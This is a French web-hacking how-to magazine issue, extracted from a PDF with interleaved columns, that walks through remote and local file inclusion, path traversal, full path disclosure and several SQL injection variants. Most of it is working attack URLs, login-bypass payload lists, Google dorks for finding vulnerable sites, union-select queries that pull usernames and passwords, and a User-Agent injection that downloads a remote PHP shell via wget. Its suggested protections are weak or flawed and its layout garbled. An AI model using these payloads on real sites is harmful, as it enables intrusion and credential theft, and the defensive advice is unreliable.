Vous êtes sur la page 1sur 32

25/09/2017

Inclusion de fichiers à distance


Inclusion de fichiers locaux
Téléchargement de fichier local
Procédure complète de divulgation
Injection MYSQL
Injection SQL - avec fichier de chargement
Injection MSSQL
Injection SQL à l’aveugle (Blind SQLi)
Injection SQL PostgreSQL
Injection SQL PostgreSQL basée sur les erreurs
Injection SQL sur ASPX
XSS
CRLF
CSRF
Server Side Includes | Server Side Inclusion

Hacking de site web


#01

H2M®
How-To Magazine
1
DISCLAIMER

Guide - Hacking de site Web


«H2M» est un magazine qui a pour objectif de sensibiliser les gens sur
ce qui se passe dans le monde du Hacking et d'éviter de se faire pirater.
Il ne favorise ou encourage en aucun cas le piratage.

Nous croyons que, si vous ne savez pas comment pirater (de manière
éthique), vous ne pouvez pas vous défendre contre les attaques des pi-
rates d’où le concept :

BE HACKER | BE FREE

Les articles de CONELSI SEC LAB liés au Hacking sont uniquement à


des fins d'information et d'éducation.
Les tutoriels et les démonstrations fournis dans le magazine « H2M »
sont réservés à ceux qui ont le souhait de connaître les tests de piratage
éthique, de sécurité et de pénétration.

Chaque fois que le mot "Hacking" est utilisé dans le magazine « H2M »
doit être considéré comme Hacking éthique.

CONELSI SEC LAB ne sera pas responsable de toutes actions effectuées


par un lecteur.
Nous nous concentrons principalement sur la programmation, les tu-
toriaux, le Guide de sécurité, les tutoriels de Pentesting et le piratage
éthique. Si vous prévoyez d'utiliser le contenu à des fins illégales, cesser
de lire immédiatement le magazine.

2
Alors, commençons! Dans ce cas nous allons utiliser null byte bypass ().
Tout ce qui vient après ne compterait pas et ne sera
plus utiliser.
[I] - Inclusion de fichiers à distance Nous l’utilisons également pour le contournement
des téléchargements d’images en php, mais je ne
1) RFI vais pas en parler.
RFI (Remote File Inclusion) est un type de piratage
web. Il se produit lorsque le script PHP utilise les Donc lien devrait ressembler à ceci:
fonctions include () pour inclure certains fichiers Code:
pour une méthode GET. Ce fichier est généralement http://www.site.com/index.php?page=www.shell-
en format de pages txt dont le contenu est affiché. link.com/shell.txt?
Exemple:
Code: 5) Script de protection
http://www.site.com/index.php?page=home Script ressembler à ceci:
Code:
De nos jours, RFI est rarement en usage et tout ce <?php
que vous avez besoin pour l’utiliser sur un site vul- $page = $_GET[‘page’];
nérable est un shell en format txt. include($page);
2) Script vulnérable ?>
Donc, nous allons ajouter des trucs pour le proté-
Code: ger:
<?php
$page = $_GET[‘page’]; Code:
include($page); <?php
?> $page = $_GET[‘page’];
if(file_exists(«pages/».$page) {
3) Exploitation de la vulnérabilité include($page);
Nous avons le site: }
Code: ?>
http://www.site.com/index.php?page=home

Maintenant, au lieu de « home », nous allons utiliser [II] Inclusion de fichiers locaux
notre coquille.
Nous obtenons donc: 1) LFI
Code: LFI Peut être utilisé sur des sites comme:
http://www.site.com/index.php?page=www.shell Code:
-link.com/shell.txt? http://link.com/index.php?page=

Si le site est vulnérable, il devrait afficher le shell en ajoutant


avec la liste des fichiers du site que vous attaquez. Code:
../../../../../../etc/passwd
4) Contournement de bytes nuls (Parfois vous devez ajouter sur passwd ).
Dans certains scripts il ya une protection faible qui
va inclure le fichier et ajouter l’extension html, ou
un autre: 2) Trouver des sites vulnérables:
Code: Code:
<?php index.php?page=
$page = $_GET[‘page’]; index.php?option=
include($page.».html»); search.php?word=
?>

3
3) Vérification de la vulnérabilité du site:

Trouver un site et utiliser


Code:
../../../../../../../../../../../etc/passwd
ou
Code:
../../../../../../../../../../../etc/passwd

Lorsque vous entrez ceci pour le lier écrit ceci:


Code:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/
bin:/bin/sh www-da-ta:x:33:33:www-da-ta:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/
sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:-
Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/
bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false ntp:x:103:106::/home/ntp:/bin/false snmp:x:104:65534::/var/lib/
snmp:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin

Ce qui signifie que le site est vulnérable.

4) proc / self / environ


Maintenant, nous voulons voir si nous avons accès dans / proc / self / environ sur le site afin que nous puis-
sions télécharger le shell sur le site.

Au lieu de etc / passwd, nous allons mettre / proc / self / environ

Si la page imprime ceci:

Code:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_AC-
CEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac
HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_
AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUE-
RY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200
REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_
URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/
home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x
SERVER_ADMIN=webmaster**website.com SERVER_NAME=www.website.com SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwli-
mited/1.4 FrontPage/5.0.2.2635 Serv..........

Alors proc / self / environ est activé afin que nous puissions télécharger le shell.

4
5) Téléchargement de Shell
Pour télécharger le shell, nous avons besoin de Mozilla:
Code:
http://www.mozilla.com/firefox/

Add-on Tamper data:


Code:
https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Ouvrir le site, etc:


Code:
http://www.site.com/index.php?lien=../../../../../../../../../../../../proc/self/environ

Outils> Tamper Data


Cliquez sur Démarrer Tamper puis actualiser la page et dans user-agent, placez le code suivant:
Code:
<?system(‘wget www.link.com/shell.txt -O shell.php’);?>

Cliquez sur OK. Pour accéder à l’utilisation du shell:


Code:
www.link.com/shell.php

5
[III] Téléchargement de fichier local

1) LFD
LFD (Local File Download) est la vulnérabilité dans le script qui est utilisé pour télécharger des fichiers à
l’aide de la méthode GET, mais vous pouvez également l’utiliser avec POST method en utilisant l’extension
Tamper Data.
Code:
http://site.com/download_file.php?file=notepad.exe

2) Script vulnérable
Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
?>

3) Vérification de la vulnérabilité
Pour vérifier si le script est vulnérable, nous allons essayer de télécharger etc / passwd .
Ainsi, au lieu de:

Code:
http://site.com/download_file.php?file=notepad.exe

Nous allons utiliser:

Code:
http://site.com/download_file.php?file=../../../../../../../../../etc/passwd

Si elle commence à télécharger et si elle ouvre le fichier dans l’éditeur de texte, il va ressembler à quelque
chose comme ceci:

Code:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
Le script est vulnérable!
REMARQUE: S’il s’agit d’un serveur Windows, utilisez boot.ini au lieu de etc / passwd .

4) Exploitation de la vulnérabilité
Maintenant, quand nous savons que le script est vulnérable, nous voulons voir quels fichiers sont sur l’hôte.
Vous pouvez le faire de cette façon:

6
, Code:
http://site.com/download_file.php?filel=../

../ va nous retourner un répertoire en arrière et télécharger le fichier.

1.1 Il est possible quand il télécharger le fichier, l’ouvre dans l’éditeur de texte pour imprimer la liste des fi-
chiers dans les répertoires.
1.2 Ou bien il est soit possible de télécharger le fichier mais quand il est ouvert dans l’éditeur de texte le fichier
est vide.

Dans le cas 1.1, nous n’avons pas à deviner nom de fichier et répertoire et nous pouvons télécharger ce que
nous voulons.
Dans le cas 1.2, nous devons deviner nom de fichier et répertoire et nous ne pouvons télécharger que les
fichiers dont le nom est connu. Il ya quelques programmes qui peuvent nous aider à trouver des fichiers
(HTTrack Website Copier par exemple).
5) Script de protection
Nous avons mentionné ce script au début:
Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
?>

En ajoutant if (file_exists («download /».$ file) nous allons sécuriser le script.


Il devrait donc ressembler à:

Code:
<?php
if(isset($_POST[‘download’])) {
$file = $_GET[‘file’];
$file_info = pathinfo($file);
if(file_exists(«download/».$file)) {
header(‘Content-type: application/x-’.$file_info[‘extension’]);
header(‘Content-Disposition: attachment; filename=’.$file_info[‘basename’]);
header(‘Content-Length: ‘.filesize($file));
readfile($file);
exit;
}
}
?>

7
[IV] Procédure complète de divulgation / ( FPD : Full path disclosure)
Cette méthode vous permet de voir plus d'erreurs Il y a beaucoup de façons d'utiliser la vulnérabilité
dans le fichier ou sur les erreurs faites par les pro- FPD sur le site, je vais vous expliquer les 2 plus im-
grammeurs pour vous permettre de voir quels fi- portants.
chiers sont dans quels répertoires.
Au cas où vous ne pouvez pas directement hacké le 1er est sur le tableau, en ajoutant des crochets sur le
site, il vous permettra au moins de faire de la recon- lien comme celui-ci:
naissance. Code:
index.php?page=home
Il est utile car il peut vous aider à accélérer et à faci-
liter le processus, il peut également vous aider avec Pour terminer une attaque de cette vulnérabilité,
l'inclusion locale de fichier (LFI), quand le nom de vous devez ajouter [] sur le fichier de destination:
dossier a changé, ou d’autres fichiers. Code:
. Vous pouvez les trouver à l'aide de FPD (Full path index.php?page[]=home.
disclosure).
Cela vous donnera une erreur comme ceci:
Code:
Warning: include(blah/errors.php) [function.include]: failed to open stream: No such file or directory /
home/insekure/public_html/index.php on line 211

A partir de ce que vous pouvez voir sur le site il existe le répertoire blah .

La 2ème méthode est d'ajouter le cookie le plus utilisé (Null Session Cookie), et vous pouvez l'ajouter par in-
jection Java, en ajoutant du code java sur le site, vous obtiendrez une erreur.

C'est le code javascript:


Code:
Javascript:void(document.cookie='PHPSESSID=');

Ajoutez dans votre barre d'adresse et appuyez sur Entrée, maintenant, lorsque la page est rafraîchie vous ob-
tiendrez l'erreur:

Code:
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters
are az, AZ, 0-9 and '-,' in /home/example/public_html/thems/errors.php on line 58

Puis essayer d'ouvrir les répertoires themes sur le site, qui devrait vous répertorier les fichiers dans ce réper-
toire.
Protection:
Le moyen le plus simple de se protéger de ces attaques est de désactiver les rapports d'erreurs.
Modifier ou ajouter:

Code:
error_reporting(0);

8
[V] Injection MYSQL

1) Dorks
Code:
inurl:admin.asp
inurl:login/admin.asp
inurl:admin/login.asp
inurl:adminlogin.asp
inurl:adminhome.asp
inurl:admin_login.asp
inurl:administrator_login.asp

Je vais utiliser:
Code:
http://site.com/Admin_Login.asp

2) Connexion
Maintenant, vous pouvez trouver un site sur ces
dorks et essayez de vous connecter avec:
Nom d'utilisateur: Admin
Mot de passe: password 'where 1 = 1-

A la place de password ' where 1 = 1 vous pouvez


utiliser certains de ces:

Code:
'or'1'='1
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
'or'1=1'
Password ' ou 1 = 1 va tromper le serveur et vous permettra de vous connecter.
Donc, si vous êtes en mesure de vous connecter, le site est vulnérable et vous allez être en mesure d'utiliser le
panneau d'administration.

9
[VI] Injection SQL
Nous allons ajouter + and + 1 = 2 - à la fin
du lien afin que nous obtenions:
Code:
http://site.com/b o ok.
php?id=141+and+1=2--
Si une partie de la page disparait (image,
texte ou quelque chose) ou une erreur
comme (vous avez une erreur dans votre
syntaxe sql), le site est vulnérable.

1) Injection SQL 4) Trouver le nombre de colonnes


SQL Injection est un type d'attaque Web. L’Atta- Nous pouvons le faire en utilisant des fonctions
quant utilise un trou dans le script pour prendre order by, sur le lien:
toutes les données de la base de données. Les sites Code:
vulnérables sont au format: http://site.com/book.php?id=141
Code:
http://www.link.com/index.php?id= Ajout + order + by + 5 -
Code:
Vous pouvez mettre n'importe quoi d'autre après le http://site.com/book.php?id=141+order+by+5--
fichier de l'index.
Si la page est ouverte normalement il ya plus de 5
2) Trouver des sites vulnérables:
colonnes. Essayons avec 10.
La meilleure façon de trouver un site vulnérable est
Code:
la baie à l'aide de Google. Nous utilisons ces dorks
http://site.com/book.php?id=141+order+by+10--
pour trouver des sites:
Code:
Maintenant une partie du site disparait, ce qui
inurl:faq.php?id=
signifie qu’il y’a plus de 5 et moins de 10 colonnes.
inurl:event.php?id=
Essayons 7.
inurl:index.php?id=
Code:
http://site.com/book.php?id=141+order+by+7--
3) Vérification de la vulnérabilité du site:
Il existe deux façons de vérifier si le site est vulné- La page est ouverte normalement ce qui signifie
rable. qu’il ya plus de 7 et moins de 10 colonnes. Es-
sayons 8.
1ère manière, nous avons un lien: Code:
Code: http://site.com/book.php?id=141+order+by+8--
http://site.com/book.php?id=141
Nous allons ajouter seulement ' à la fin du lien afin Sur la colonne 8, une partie du site disparait ce qui
d’obtenir ce lien: signifie qu’il ya 7 colonnes.
Code: La page est ouverte normalement ce qui signifie
http://site.com/book.php?id=141' qu'il ya plus de 7 et moins de 10 colonnes. Es-
sayons 8.
2ème voie, nous avons un lien: Code:
Code: http://site.com/book.php?id=141+order+by+8--
http://site.com/book.php?id=141
Sur la colonne 8, une partie du site disparait ce qui
signifie qu'il ya 7 colonnes.
10
5) Trouver des colonnes vulnérables Noms de certaines colonnes possibles:
Code:
La recherche de colonnes vulnérables se fait avec la username
fonction union select all sur le lien (dans ce cas) nous uname
allons ajouter + union + select + all + 1,2,3,4,5,6,7-- un
Code: user
http://site.com/book.php?id=-141+union+ name
select+all+1,2,3,4,5,6,7-- nick
password
Il va écrire des chiffres sur la page (dans ce cas 1 2 3 pw
4 5 6 7) ce qui signifie que les données peuvent être pwd
prises à partir de n'importe quelle colonne. Nous passwd
allons prendre à partir de la deuxième colonne.
Si la version de la base de données est 5, nous pou-
6) Recherche de la version de base de vons prendre le nom de la table en faisant l'étape
données suivante: au lieu du numéro 2, nous allons placer
group_concat (table_name) et après numéro de la
Comme je l’ai dit, nous allons prendre des données dernière colonne + from + information_schema.
de la deuxième colonne. Au lieu du numéro 2, nous tables + where + table_schema = database ()
allons mettre version () ou @@ version
Code: Nous obtenons donc ce lien:
http://site.com/book.php?id=-141+union+select Code:
+all+1,@@version,3,4,5,6,7-- http://site.com/book.php?id=-141+union
+select+all+1,group_concat(table_name),3,4,5,6,
À la page où le numéro 2 était, il affichera la version 7+from+information_schema.tables+where+
de la base de données. table_schema=database()--
Si la version de la base de données est 4, nous devons
deviner le nom de la table et de la colonne, mais si Au lieu de numéro 2, il a montré le nom du tableau,
la version de la base de données est 5, nous devons dans ce cas, date, livre, les utilisateurs. Nous allons
deviner la version de la base de données. prendre des colonnes de la table des utilisateurs.

Nous avons la version 5.0.51a-24 + lenny5 ce qui si-


gnifie que nous n’avons pas à deviner le nom de la
table et la colonne.

7) Recherche du nom de la table


Si la version de base de données est 4, vous ne serez
pas en mesure de trouver le nom de la table et la co-
lonne, vous devez deviner leurs noms.
Noms de quelques tableaux possibles:
Code:
admin
admins
user
users
member
members

11
8) Recherche du nom de la colonne
Nous avons trouvé le nom de la table que nous voulons et maintenant nous voulons prendre des colonnes.
Au lieu de group_concat (nom_table), nous allons placer group_concat (nom_colonne) et au lieu de + from
+ information_schema.tables + where + table_schema = database () - nous allons placer + from + informa-
tion_schema.columns + where + table_name = hex- à la place de « hex » nous devons crypter en hexadécimal
le nom du tableau.
Aller à:
Code:
http://www.string-functions.com/string-hex.aspx

Écrire le nom du tableau (dans ce cas, users ) et nous obtenons le numéro hex-ed: 7573657273 maintenant
nous pouvons voir les colonnes:

Code:
http://site.com/book.php?id=-141+union+select+all+1,group_concat(column_name),3,4,5,6,7+from+
infor mation_schema.columns+where+table_name=0x7573657273--

9) Récupération de données des colonnes


Nous avons: id, nom, prénom, nom d’utilisateur, mot de passe, niveau.
Nous n’avons besoin que du nom d’utilisateur et du mot de passe.

Au lieu de group_concat (nom_colonne) nous avons mis group_concat (nom_utilisateur, 0x3a, mot_de_passe)
0x3a signifie espace entre utilisateur et mot_de_passe.
Au lieu de + information_schema.columns + where + table_name = 0x7573657273-- nous mettons + from +
users-

Et nous avons lien:


Code:
http://site.com/book.php?id=-141+union+select+all+1,group_concat(username,0x3a,password),3,4,5,6,7+fr
om+users--

Et résultat par exemple:


Code:
Conelsi1:1533562
conelsi2:security
coach:53.21.1985.
biga:biga

Quels sont les utilisateurs et les mots de passe de ce site.

10) Filtrage du contournement


Dans le cas où vous écrivez union + select + all dit «non accessible» , le changer à UnIoN + sElEcT + aLl
Sur certains sites, l’espace est restreint, donc vous pouvez placer + ou / ** / (/ * début de commentaire en php
et fin * /)
Sur certains sites, il existe également une version de base de données restreinte, vous pouvez donc utiliser un-
hex (hex (version ()))

12
11) Protection du site contre l'Injection SQL
Il suffit de mettre ce code dans votre script:

Code:
if(!is_numeric($_GET[‘id’]))
{
echo ‘ Il va écrire du texte lorsque certains tenteront d’ajouter /’ or and+1=2’;
}

13
Injection SQL - Charger le fichier
Vous avez trouvé le site avec la vulnérabilité SQL, Hex par exemple
maintenant vous pouvez essayer d’accéder à la table Si nous convertissons le nom du fichier en Hex,
mysql.user et les privilèges de fichier. avant le nom du fichier, nous ajoutons ‘ 0x ‘

Pour ce qui est l’utilisateur et nous avons des privi- Code:


lèges d’utilisateur, nous ajoutons « user » à la place http://www.site.com/index.php?id=1+union+
de la colonne vulnérable et à la fin de l’url en ajou- select+all+1,2,load_file(0x2f6574632f7061737377
tant «+ from + mysql.user--» . 64),4+from+mysql.user--

Ça devrait ressembler à ça: Hex code ' 2f6574632f706173737764 ' fonctionne


Code: pour ' / etc / passwd '.
http://www.site.com/index.php?id=1+union+
select+all+1,2,user,4+from+mysql.user-- Il est recommandé pour Hex:
Code:
Si vous obtenez le nom d’utilisateur, cela signifie que www.string-functions.com/string-hex.aspx
vous avez accès à la table mysql.user et vous pouvez
continuer avec cette tut. Si vous décidez de convertir un fichier dans Char,
ajoutez ‘load_file (char (fichier converti en char))’
Maintenant, pour voir si nous avons des privilèges
de fichier, nous devons au lieu de ‘ user ‘ ajouter ‘ Qui ressemble à:
concat (user, 0x3a, file_priv) ‘ et la suite biens ure ‘+
from mysql.user--’ Code:
http://www.site.com/index.php?id=1+union+
Maintenant, lorsque sur la page les noms d’utilisa- select+all+1,2,load_file(char(47,101,116,99,47,
teur et le fichier priv. sont listés, vous devez trouver 112,97,115,115,119,100),4--
le nom d’utilisateur qui a été écrit au début, quand
vous écriviez « user » dans la colonne, quand vous le Où ‘47 , 101,116,99,47,112,97,115,115,119,100 ‘
trouvez et si en plus il affiche « Y » qui est Oui. Vous fonctionne pour ‘/ etc / passwd’
avez des privilèges.
Char convertisseur:
Fichier de chargement: Code:
http://pookey.co.uk/binary.php
Tout ce que nous avons à faire est d’écrire sur la co-
lonne vuln load_file (‘FILE NAME’) .
Nous allons essayer avec / etc / passwd , alors nous
tapons dans la colonne vulnérable
‘ load_file (‘ / etc / passwd ‘).

Qui ressemblent à ceci:


Code:
http://www.site.com/index.php?id=1+union+
select+all+1,2,load_file(‘/etc/passwd’),4--

Si elle nous donne l’erreur nous pouvons convertir


le dossier dans le Char ou le Hex, mais si nous le
faisons nous devons supprimer «’» dans le nom de
fichier.

14
[VII] Injection MSSQL Et nous obtenons:
Code:
1) Trouver le nombre de colonnes Microsoft OLE DB Provider for ODBC Drivers
error ‘80040e07’
J’utiliserai:
Code: [Microsoft][ODBC SQL Server Driver][SQL Ser-
http://www.site.com/sr/page/member.asp?id=234 ver]Syntax error converting the nvarchar value ‘Mi-
crosoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec
Pour trouver le numéro de la colonne, nous allons 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft
utiliser la fonction order by. Corporation Desktop Engine on Windows NT 5.2
Nous allons ajouter + order + by + 5 - à la fin du lien. (Build 3790: Service Pack 2) ‘ to a column of data
type int.
Code:
http://www.site.com/sr/page/member.asp?id=23 /sr/page/member.asp, line 38
4+order+by+5--
Et de là nous pouvons voir la version de base de
Nous allons donc obtenir l’erreur suivante: données.
Code:
Microsoft OLE DB Provider for ODBC Drivers 3) Recherche du nom de la table
error ‘80040e14’
Avec MSSQL Injection il n’est pas possible d’obtenir
[Microsoft][ODBC SQL Server Driver][SQL Server] toutes les tables à la fois, nous devons y aller 1 par 1.
The ORDER BY position number 5 is out of range of Code:
the number of items in the select list. ht t p : / / w w w. s i t e . c o m / s r / p a g e / m e m b e r. a s -
p?id=234+union+select+all+1,table_
/sr/page/member.asp, line 38 name,3+from+information_schema.tables--

Ce qui signifie qu’il ya moins de 5 colonnes, es- Et nous obtenons:


sayons avec 4. Nous allons obtenir la même erreur,
nous allons essayer avec 3 et nous obtenons l’erreur Code:
suivante: Microsoft OLE DB Provider for ODBC Drivers
error ‘80040e07’
Code:
Microsoft OLE DB Provider for ODBC Drivers [Microsoft][ODBC SQL Server Driver][SQL Ser-
error ‘80040e14’ ver]Syntax error converting the nvarchar value
‘Country’ to a column of data type int.
[Microsoft][ODBC SQL Server Driver][SQL Ser-
ver]Incorrect syntax near the keyword ‘order’. /sr/page/member.asp, line 38

/sr/page/member.asp, line 44 Et nous pouvons voir que nous avons la table ‘ Pays ‘.

Cela signifie qu’il ya 3 colonnes. Maintenant nous devons trouver d’autres tables.
Nous allons utiliser la fonction not + in. Nous avons
2) Recherche de la version de base de donc un lien:
données
Code:
Pour trouver la version de base de données, nous http://www.site.com/sr/page/member.asp?id=23
utilisons @@ version . 4+union+select+all+1,table_name,3+from+infor
Code: mation_schema.tables+where+table_name+not+
http://www.site.com/sr/page/member.asp?id= in(‘Country’)--
-234+union+select+all+1,@@version,3--

15
Et nous obtenons: Et nous obtenons:
Code: Code:
Microsoft OLE DB Provider for ODBC Drivers Microsoft OLE DB Provider for ODBC Drivers
error ‘80040e07’ error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Ser- [Microsoft][ODBC SQL Server Driver][SQL Ser-
ver]Syntax error converting the nvarchar value ‘Ad- ver]Syntax error converting the nvarchar value
min’ to a column of data type int. ‘PASSWD’ to a column of data type int.

/sr/page/member.asp, line 38 /sr/page/member.asp, line 38

Et de là nous pouvons voir que nous avons la table Donc, les colonnes est PASSWD .
d’Admin.
5) Récupération des données des colonnes
4) Recherche du nom de la colonne
Maintenant , nous devons mettre le nom de la table
Il en est de même pour les colonnes. Nous ne pou- au lieu de nom_table et omettre tout ce qui suit.
vons pas obtenir toutes les colonnes à la fois, donc
nous devons le faire 1 par 1. Dans ce cas, nous allons Code:
utiliser where + table_name = ‘Admin’ - . http://www.site.com/sr/page/member.asp?id=23
Nous avons donc un lien: 4+union+select+all+1,USERNAME,3+from+Ad
min--
Code:
http://www.site.com/sr/page/member.asp?id=23 Nous obtenons le nom d’utilisateur CONELSI .
4+union+select+all+1,column_name,3+from+
information_schema.columns+where+table_ Il en est de même pour le mot de passe:
name =’Admin’--
Code:
Et nous avons l’erreur: http://www.site.com/sr/page/member.asp?id=2
Code: 34+union+select+all+1,PASSWD,3+from+Ad
Microsoft OLE DB Provider for ODBC Drivers min--
eror ‘80040e07’
Nous obtenons le mot de passe ABSOFTCORP .
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value ‘USER-
NAME’ to a column of data type int.

/sr/page/member.asp, line 38

D’ici nous pouvons voir que nous avons la colonne


USERNAME. Maintenant, nous avons besoin des
colonnes restantes, donc nous allons utiliser à nou-
veau la fonction not + in.

Code:
http://www.site.com/sr/page/member.asp?id=23
4+union+select+all+1,column_name,3+from+in
formation_schema.columns+where+table_name
=’Admin’+and+column_name+not+in(‘USER
NAME’)--

16
[VIII] BLIND SQLi
Code:
http://www.site.com/index.php?id=1+and+
1) Injection SQL à l’aveuglette ou Blind (select+1)=1
SQLi
Si la page est chargée normalement, nous pouvons
La différence entre SQL Injection et Blind SQL In- utiliser select , mais sinon, nous ne pouvons pas
jection est que cette dernière n’écrit aucune erreur, l’utiliser. Maintenant, nous allons vérifier si nous
aucun nom de table, aucune colonne ou contenu de avons accès à MySQL.
colonne. C’est pourquoi il est appelé Blind SQL. Code:
http://www.site.com/index.php?id=1+and+
Dans une attaque de type Blind Injection nous n’uti- (SELECT+*+from+mysq.user+limit+0,1)=1
lisons pas --i / * * / .
Comme tout le reste, si la page est chargée norma-
2) Vérification de la vulnérabilité du site lement , nous avons accès à mysql.user , sinon alors
nous n’avons pas. Mysql.user est utile pour obtenir
Nous avons un lien: le mot de passe hash ou utiliser load_file () et OUT-
Code: FILE .
http://www.site.com/index.php?id=1

Nous allons ajouter and 1 = 2


5) Trouver un nom de table
Code:
Pour trouver des noms de table, nous devons seule-
http://www.site.com/index.php?id=1+and+1=2
ment le deviner. Nous allons d’abord trouver le nom
de la table puis le nom de la colonne de la table.
Si une partie de la page disparaît, cela signifie que le
Nous avons un lien et nous allons essayer d’obtenir
site est vulnérable.
des noms de différentes tables. Si la page est chargée
normalement, cela signifie que le nom de table est là
3) Recherche de la version de base de et existe.
données Code:
http://www.site.com/index.php?id=1+and+
Comme nous l’avons déjà dit dans cette méthode (select+1+from+ime_tabele+limit+0,1)=1
rien ne va être montré, donc nous allons dire que la
version de la base de données est 4. Si la partie du Notre principal objectif est de trouver des données à
site disparait, cela signifie que la version n’est pas 4, partir de table admin, nous pouvons également uti-
mais si tout sur la page rester comme il devrait, cela liser:
signifie que la version est 4. Nous allons utiliser la Code:
fonction @@ version. admin
Code: administrator
http://www.site.com/index.php?id=1+and+subs member
tring(@@version,1,1)=4 login
members
Si la page est chargée comme il se doit alors la ver- adm
sion est 4, sinon, alors nous allons essayer: user
Code: users
http://www.site.com/index.php?id=1+and+sub tbl_admin
string(@@version,1,1)=5

4) Utilisateur MYSQL
Tout d’abord, nous allons vérifier, nous sommes en
mesure d’utiliser select parce qu’il est bloqué parfois.

17
6) Recherche du nom de la colonne Si la page est chargée normalement nous avons trou-
vé une vraie lettre pour le nom d’utilisateur. Pour
Maintenant, quand nous avons trouvé le nom de la trouver notre deuxième lettre changez + limite + 0,1
table que nous voudrions, il serait temps de trouver à + limite + 1,1 .
le nom de la colonne. Nous faisons la même chose Alors maintenant, nous devinons la deuxième lettre
que pour la table. Il y a correspondance de nom, ... C’est la même chose pour le mot de passe ... Donc,
si la page est chargée normalement alors la colonne après un bon bout de temps, nous obtenons le nom
existe. d’utilisateur et le mot de passe. S’il ya plus d’utilisa-
Nous avons besoin de consigner des données. Le teurs et si vous voulez obtenir leurs mots de passe,
nom des colonnes sont nommés habituellement: vous devrez ajouter la fonction where().
Il devrait donc ressembler à:
Code:
username Code:
admin http://www.site.com/index.php?id=1+and+ascii
admin_username (substring((select+concat(column_name)+from+
uname column_name+where+column_name=some
user thing+limit+0,1)1,1))>from DEC letter
nick
password Pour utiliser where pour le second colum_name
pwrod nous utilisons habituellement id, mais nous pou-
admin_password vons également utiliser d’autres choses. Par exemple
pw pour id:
pass
Code:
Le lien que nous utilisons pour les colonnes est: http://www.site.com/index.php?id=1+and+ascii
(substring((select+concat(column_name)+from+
Code: column_name+where+id=1+limit+0,1)1,1))>
http://www.site.com/index.php?id=1+and+ from DEC letter
(select+substring(concat(1,ime_colone),1,1)
from+ime_table+limit+0,1)=1 8) Récupération de données de colonnes
avec sqlmap
7) Récupération de données des colonnes
Comme vous avez déjà remarqué que vous avez be-
Dans une attaque par Blind SQLi, cette partie va soin de beaucoup de temps pour obtenir des don-
être la partie la plus ennuyante et la plus longue. Ici nées de colonnes, je vous suggère d’utiliser sqlmap.
nous allons avoir besoin d’une table ascii . Téléchargement de Windows:
Code:
http://www.asciitable.com/ Code:
http://downloads.sourceforge.net/sqlmap/sqlmap
Nous allons chercher uniquement les tables ascii -0.9.zip
DEC et CHR. D’abord nous allons obtenir le nom
d’utilisateur, lettre par la lettre. Téléchargement Unix:
Donc, nous devons deviner DEC pour une lettre,
par exemple pour A c’est 65. Code:
Nous avons un lien: http://downloads.sourceforge.net/sqlmap ... 0.9
.tar.gz
Code:
http://www.site.com/index.php?id=1+and+ascii REMARQUE: presque tous les systèmes unix ont
(substring((select+concat(column_name)+from+ déjà installé sqlmap, et vous aurez également besoin
column_name+limit+0,1)1,1))>from DEC de python si vous ne l’avez pas déjà.
number

18
Python téléchargement: S’il y a plusieurs utilisateurs, utilisez id:
Code:
http://www.python.org/download/ Code:
